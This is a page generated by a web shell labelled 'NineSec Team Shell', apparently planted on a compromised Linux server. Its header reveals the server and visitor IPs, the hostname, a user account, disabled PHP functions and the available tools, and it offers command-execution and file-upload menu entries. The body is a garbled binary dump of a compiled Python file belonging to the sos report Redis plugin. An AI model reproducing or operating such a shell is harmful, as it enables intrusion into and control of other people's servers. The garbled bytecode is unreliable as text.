NineSec Team Shell
Server IP : 184.107.3.203  /  Your IP : 216.73.216.51
Web Server : Apache
System : Linux dedicated2.avenfashion.com.ph 4.18.0-553.40.1.el8_10.x86_64 #1 SMP Mon Feb 10 12:11:18 EST 2025 x86_64
User : adminteladeoro ( 1015)
PHP Version : 8.2.28
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /usr/lib/python3.6/site-packages/sos/report/plugins/__pycache__/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //usr/lib/python3.6/site-packages/sos/report/plugins/__pycache__/redis.cpython-36.pyc
3

~�gb�@s&ddlmZmZGdd�dee�ZdS)�)�Plugin�IndependentPluginc@s0eZdZdZdZd
ZdZdZdd�Zdd�Z	d	S)�Redisz%Redis, in-memory data structure store�redis�servicesz+/var/lib/config-data/puppet-generated/rediscCsV|jd|jd|jd|jdg�|jd�|jd�rF|jdg�n|jdg�dS)	Nz/etc/redis/redis.confz/etc/redis*z/etc/redis/z/etc/security/limits.d/zredis-cli infoZall_logsz/var/log/redis/redis.log*z/var/log/redis/redis.log)Z
add_copy_spec�var_puppet_genZadd_cmd_outputZ
get_option)�self�r	�/usr/lib/python3.6/redis.py�setups


zRedis.setupcCs.x(d|jdgD]}|j|ddd�qWdS)Nz/etc/redis/z
/etc/redisz
redis.confz(masterauth|requirepass)\s.*z\1 ********)rZdo_file_sub)r�pathr	r	r
�postproc,s
zRedis.postprocN)r)r)
�__name__�
__module__�__qualname__Z
short_descZplugin_nameZprofilesZpackagesrrr
r	r	r	r
rsrN)Zsos.report.pluginsrrrr	r	r	r
�<module>s

NineSec Team - 2022